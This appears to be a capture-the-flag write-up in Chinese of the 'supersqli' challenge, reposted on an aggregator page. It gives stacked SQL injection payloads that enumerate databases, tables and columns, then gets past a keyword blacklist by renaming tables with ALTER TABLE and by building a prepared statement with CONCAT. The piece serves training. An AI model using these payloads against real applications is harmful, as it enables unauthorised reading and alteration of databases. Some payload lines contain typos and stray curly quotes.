攻防世界 您所在的位置:网站首页 sql堆叠注入详解 攻防世界

攻防世界

#攻防世界| 来源: 网络整理| 查看: 265

supersqli

查看是否存在SQL注入

1' and 1=1 #

在这里插入图片描述 用二分法查看列数(有两列)

1' order by 2 #

在这里插入图片描述 使用联合查询发现做了SQL注入黑名单禁止出现以下关键字 在这里插入图片描述

堆叠注入

接下来我们尝试堆叠注入: 查询数据库:(输入框里的–+做了过滤,但在url里依然可以用)

;show databases;--+

在这里插入图片描述 查表:

';show tables;--+

在这里插入图片描述 分别查询两个表的字段: (字符串为表名进行操作时要加反引号)

; show columns from `1919810931114514` ;--+ ; show columns from `words` ;--+

word:flag,NO字段 在这里插入图片描述 1919810931114514:id,NO等等字段 在这里插入图片描述

查询字段内容

这里有两种方法:1.一种改表名 2.预编译 方法一: 根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id 利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)

; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); # 拆开: ; alter tables words rename to words1; ; alter tables `1919810931114514` rename to words ; ; alter tables words change flag id varchar(50); #

查看flag:

1' or 1=1 #

在这里插入图片描述 1’ or 1=1 #

**方法二:**预编译来绕过

构造payload:

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译 prEpare stmt from @sql; 设置变量 EXECUTE stmt;# 执行 在这里插入图片描述 flag: flag{c168d583ed0d4d7196967b28cbd0b5e9



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有